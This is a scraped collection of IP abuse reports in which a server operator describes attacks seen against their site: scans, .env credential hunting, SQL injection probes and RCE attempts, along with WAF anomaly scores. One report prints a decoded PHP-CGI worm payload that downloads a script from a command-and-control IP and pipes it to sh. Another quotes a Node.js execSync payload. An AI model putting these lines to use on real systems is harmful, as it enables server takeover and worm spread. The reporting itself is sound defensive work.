What they did:
WAF Fingerprinting via Accept-Charset header + raw IP access
Identical technique to ...
show moreWhat they did:
WAF Fingerprinting via Accept-Charset header + raw IP access
Identical technique to Infomaniak and Alibaba cluster โ hitting root / with restricted Accept-Charset header and numeric IP host header. M247 is a well-known transit provider whose IPs appear constantly in threat intelligence feeds due to VPN and proxy abuse.
This is the third attacker using the exact same fingerprinting technique in 48h โ strongly suggesting a shared scanning tool or coordinated campaign.
show less
Email SpamPort ScanHackingSpoofingBrute-ForceBad Web BotExploited HostWeb App Attack
What they did:
zgrab Internet-Wide Mass Scanner
User agent: Mozilla/5.0 zgrab/0.x
zgrab is an ope ...
show moreWhat they did:
zgrab Internet-Wide Mass Scanner
User agent: Mozilla/5.0 zgrab/0.x
zgrab is an open-source internet scanning tool developed by the ZMap team, used to perform mass banner grabbing and service fingerprinting across the entire internet. When used maliciously it maps open services, grabs server banners, identifies software versions, and feeds data into vulnerability databases for targeting.
Hitting raw IP / with zgrab โ building a profile of your server's software stack, response headers, and security posture.
show less
HackingSQL InjectionBrute-ForceBad Web BotExploited HostWeb App Attack
What they did:
zgrab Internet-Wide Mass Scanner
User agent: Mozilla/5.0 zgrab/0.x
zgrab is an ope ...
show moreWhat they did:
zgrab Internet-Wide Mass Scanner
User agent: Mozilla/5.0 zgrab/0.x
zgrab is an open-source internet scanning tool developed by the ZMap team, used to perform mass banner grabbing and service fingerprinting across the entire internet. When used maliciously it maps open services, grabs server banners, identifies software versions, and feeds data into vulnerability databases for targeting.
Hitting raw IP / with zgrab โ building a profile of your server's software stack, response headers, and security posture.
show less
DDoS AttackPing of DeathPhishingWeb SpamBlog SpamHackingBrute-ForceBad Web BotExploited HostWeb App Attack
What they did:
.env file credential harvesting
Two attempts to access /.env โ hunting for database ...
show moreWhat they did:
.env file credential harvesting
Two attempts to access /.env โ hunting for database credentials, API keys, Stripe secrets, and mail server passwords. Prospero OOO is a well-known Russian bulletproof hoster frequently used by cybercriminals specifically because they ignore abuse reports.
show less
Web SpamHackingBrute-ForceBad Web BotExploited HostWeb App AttackIoT Targeted
What they did:
WAF Fingerprinting via Accept-Charset header abuse + raw IP access
Hitting root / o ...
show moreWhat they did:
WAF Fingerprinting via Accept-Charset header abuse + raw IP access
Hitting root / only with restricted Accept-Charset header and numeric IP host header. Classic reconnaissance โ probing security controls before launching a real attack. Identical technique to the Alibaba HK botnet we blocked earlier, suggesting the same threat actor or shared tooling.
show less
What they did:
CVE-2024-4577 PHP-CGI RCE Worm โ same campaign as Swiss NetGrid attacker, different ...
show moreWhat they did:
CVE-2024-4577 PHP-CGI RCE Worm โ same campaign as Swiss NetGrid attacker, different C&C
Payload decoded:
(wget --no-check-certificate -qO- https://31.57.216.121/sh ||
curl -sk https://31.57.216.121/sh) | sh -s cve_2024_4577.selfrep
New C&C server: 31.57.216.121 โ different from the Swiss attacker's 178.16.55.224. This confirms a coordinated global campaign running the same worm from multiple C&C servers and multiple source IPs across different countries.
Attack vectors used:
CVE-2024-4577 PHP-CGI injection via shell_exec + base64
PHPUnit eval-stdin.php probing across 10+ framework paths (zend, yii, drupal, workspace, www, ws)
Path traversal /../
PHP config injection allow_url_include=1 + auto_prepend_file=php://input
Raw IP host header to bypass virtual host rules
GET requests with body content to evade WAF
show less
Ping of DeathWeb SpamHackingExploited HostWeb App Attack
What they did
Automated FreePBX / Asterisk reconnaissance scan
The request contained the scann ...
show moreWhat they did
Automated FreePBX / Asterisk reconnaissance scan
The request contained the scanner signature:
User-Agent: mozilla/5.0 (compatible; freepbx-scanner/1.0)
This identifies an automated VoIP PBX vulnerability scanner searching for publicly exposed FreePBX telephony systems.
The scanner attempted to identify:
FreePBX administration panels
Asterisk management interfaces
Misconfigured SIP endpoints
Known FreePBX vulnerabilities
Observed indicator:
Matched Data: x-scanner found within REQUEST_HEADERS
User-Agent: freepbx-scanner/1.0
show less
Web SpamBlog SpamHackingSQL InjectionSpoofingBrute-ForceBad Web BotExploited HostWeb App Attack
๐จ Abuse Report โ 13.231.246.31 (Japan, AWS EC2 ap-northeast-1, AS16509)
Date/Time: 2026-03-06 UTC
...
show more๐จ Abuse Report โ 13.231.246.31 (Japan, AWS EC2 ap-northeast-1, AS16509)
Date/Time: 2026-03-06 UTC
Origin: Amazon AWS Tokyo What they did:
Next.js Server-Side Prototype Pollution + RCE (CVE-2024-46982 / CVE-2025-29927)
This is a cutting edge 2024/2025 exploit targeting Next.js applications. The payload:
process.mainModule.require('child_process')
.execSync(echo $((41*271)) | base64 -w 0)
Attack breakdown:
$((41*271)) โ arithmetic expression to test if shell execution works (11111 = confirmed RCE)
process.mainModule.require('child_process') โ Node.js process hijacking
execSync() โ synchronous shell command execution
base64 -w 0 โ encode output to exfiltrate data covertly
__proto__:then โ prototype pollution to corrupt JavaScript object chain
next_redirect โ abuse Next.js redirect mechanism to smuggle data out via URL parameter ?a=${res}
If successful: Full server takeover via Node.js child process execution
show less
DDoS AttackPhishingWeb SpamPort ScanHackingSQL InjectionSpoofingBrute-ForceBad Web BotExploited HostWeb App Attack
๐จ Abuse Report โ 43.135.164.228 (USA, Tencent Cloud AS132203)
Date/Time: 2026-03-05 UTC
Origin: Te ...
show more๐จ Abuse Report โ 43.135.164.228 (USA, Tencent Cloud AS132203)
Date/Time: 2026-03-05 UTC
Origin: Tencent Cloud Computing, United States What they did:
Two attack techniques in one request:
1. Multiple/Conflicting Connection Headers
Sent both keep-alive and close in the Connection header simultaneously. This is a classic HTTP Request Smuggling probe โ sending conflicting headers to confuse the server/proxy about where one request ends and another begins. If successful, attackers can poison shared caches, bypass security controls, or hijack other users' requests.
show less
Ping of DeathPhishingWeb SpamBlog SpamPort ScanHackingSQL InjectionSpoofingBrute-ForceBad Web BotExploited HostWeb App AttackSSH
๐จ Abuse Report โ Alibaba Cloud Botnet (8.217.182.94, 8.217.183.237, 8.217.184.77, 8.217.209.129, 8.2 ...
show more๐จ Abuse Report โ Alibaba Cloud Botnet (8.217.182.94, 8.217.183.237, 8.217.184.77, 8.217.209.129, 8.217.210.109, 8.217.212.2, 8.217.212.39, 8.217.212.86) What they did:
Seven coordinated IPs all sending requests with a restricted Accept-Charset HTTP header. This is a distributed header injection fingerprinting attack โ each IP sends slightly different requests to map server behavior, WAF rules, and response patterns without triggering single-IP rate limits.
The Accept-Charset header is restricted by OWASP CRS because it is frequently abused to:
Fingerprint WAF/IDS rules
Bypass content-type filtering
Inject malicious character encoding to confuse parsers
Test for HTTP request smuggling vulnerabilities
Why 7 different IPs?
Classic botnet rotation โ each IP sends only 1-2 requests to stay below fail2ban thresholds. Coordinated from a single C&C, distributed across Alibaba Cloud VMs.
show less
Passive/Active Reconnaissance โ Sensitive file disclosure attempt. Maps to PenTest+: Information Gat ...
show morePassive/Active Reconnaissance โ Sensitive file disclosure attempt. Maps to PenTest+: Information Gathering phase.
show less
PhishingBlog SpamHackingSpoofingBad Web BotExploited HostWeb App Attack
MITRE ATT&CK
Tactic: Reconnaissance
Technique: T1595 โ Active Scanning
Sub-technique: T1595.001 ...
show moreMITRE ATT&CK
Tactic: Reconnaissance
Technique: T1595 โ Active Scanning
Sub-technique: T1595.001 โ Scanning IP Blocks
show less
PhishingBlog SpamHackingSQL InjectionSpoofingBrute-ForceBad Web BotWeb App Attack
IP 186.235.63.109
What it tried:
Automated injection against parameter pfull.
Techniques ob ...
show moreIP 186.235.63.109
What it tried:
Automated injection against parameter pfull.
Techniques observed:
Boolean-based SQL injection using CASE WHEN (x=x)
PostgreSQL-style casting ::text, ::integer
Concatenation '~'||(...)||'~'
Inline obfuscation /**/
Mixed-case evasion sELeCT
Triggered both:
SQLi detection (942100)
RCE pattern detection (932115)
Anomaly score: 10
Breakdown: SQLI=5, RCE=5
show less
Web SpamBlog SpamHackingSQL InjectionSpoofingBrute-ForceBad Web BotExploited HostWeb App Attack
IP 187.62.151.68
What it tried:
Automated error-based SQL injection against parameter pshort.
...
show moreIP 187.62.151.68
What it tried:
Automated error-based SQL injection against parameter pshort.
Techniques observed:
PROCEDURE ANALYSE
UPDATEXML() error-based extraction
Boolean extraction via ELT(x=x,1)
MySQL versioned comment bypass /*!50000*/
Inline comment obfuscation /**/
Multiple payload variations in rapid sequence
This is a typical automated scanner pattern (likely sqlmap-style).
Anomaly score: 5โ15
Breakdown: SQLI=5โ15
show less
Web SpamBlog SpamHackingSQL InjectionSpoofingBrute-ForceBad Web BotExploited HostWeb App Attack
IP 202.59.13.181
What it tried:
Automated Boolean-based SQL injection against parameter pfull.
...
show moreIP 202.59.13.181
What it tried:
Automated Boolean-based SQL injection against parameter pfull.
Techniques observed:
CASE WHEN (x=x) boolean testing
CAST(... AS INT) type coercion probing
Error-based extraction using concatenation with '~'
Inline comment obfuscation /**/
Encoded control characters (\x0e, \x04, etc.) to evade filters
Multiple variations of the same payload
Anomaly score: 5โ10
Breakdown: SQLI=5โ10
show less
PhishingBlog SpamHackingSQL InjectionSpoofingBrute-ForceBad Web BotExploited HostWeb App AttackSSHIoT Targeted
IP 213.6.14.74
What it tried:
Complex multi-vector injection against pshort.
Detected attack ...
show moreIP 213.6.14.74
What it tried:
Complex multi-vector injection against pshort.
Detected attack classes:
SQL Injection (libinjection fingerprint sos)
Oracle-style error-based extraction (XMLType, CHR(), CASE WHEN, FROM DUAL)
PHP injection signature match
RCE signature match (Windows command pattern)
Obfuscation via inline comments /**/
Boolean condition probing (4700=4700), (10691=10691), (5664=5664)
Anomaly score: 15
Breakdown: SQLI=5, RCE=5, PHPI=5
show less
PhishingWeb SpamBlog SpamHackingSQL InjectionSpoofingBrute-ForceBad Web BotExploited HostWeb App Attack
IP 213.6.14.74
What it tried:
Multi-vector injection attempt against parameter pshort.
Attack ...
show moreIP 213.6.14.74
What it tried:
Multi-vector injection attempt against parameter pshort.
Attack types detected:
SQL Injection (libinjection fingerprint sos)
Error-based extraction using XMLType, CHR(), CASE WHEN
Boolean condition testing (4700=4700)
PHP injection pattern
RCE pattern match (Windows command injection signature)
Oracle-style payloads using FROM DUAL
Inline comment obfuscation (/**/)
Anomaly score: 15
Breakdown: SQLI=5, RCE=5, PHPI=5
show less
PhishingWeb SpamBlog SpamHackingSQL InjectionSpoofingBrute-ForceBad Web BotExploited HostWeb App AttackSSH
IP 46.2.191.238
What it tried:
Automated MySQL error-based SQL injection against pfull.
Techn ...
show moreIP 46.2.191.238
What it tried:
Automated MySQL error-based SQL injection against pfull.
Techniques:
PROCEDURE ANALYSE
UPDATEXML() error extraction
Boolean validation via ELT()
MySQL inline comment bypass (/*!50000*/)
Encoded payloads
Anomaly score: 15
show less
Fraud OrdersWeb SpamBlog SpamHackingSQL InjectionBrute-ForceBad Web BotExploited HostWeb App Attack
IP 46.2.191.238 performed automated MySQL error-based SQL injection against pfull.
Techniques use ...
show moreIP 46.2.191.238 performed automated MySQL error-based SQL injection against pfull.
Techniques used:
PROCEDURE ANALYSE
UPDATEXML() error-based data extraction
Boolean testing with ELT()
MySQL inline comment bypass (/*!50000*/)
Encoded payloads (\x22)
Anomaly score reached 15 (high severity).
show less
PhishingWeb SpamBlog SpamHackingSQL InjectionSpoofingBrute-ForceBad Web BotExploited HostWeb App Attack
IP 59.178.78.252 performed automated MySQL SQL injection against:
subcats
pcode_from_q
Tech ...
show moreIP 59.178.78.252 performed automated MySQL SQL injection against:
subcats
pcode_from_q
Techniques used:
Boolean-based injection (IF(...))
Error-based extraction (EXTRACTVALUE)
PROCEDURE ANALYSE exploitation attempt
MySQL inline comment bypass (/*!50000*/)
Large integer overflow trick (8446744073709551610)
Data extraction markers using ELT()
Anomaly score reached 15 (high severity).
show less
PhishingWeb SpamBlog SpamHackingSQL InjectionSpoofingBrute-ForceBad Web BotExploited HostWeb App AttackSSH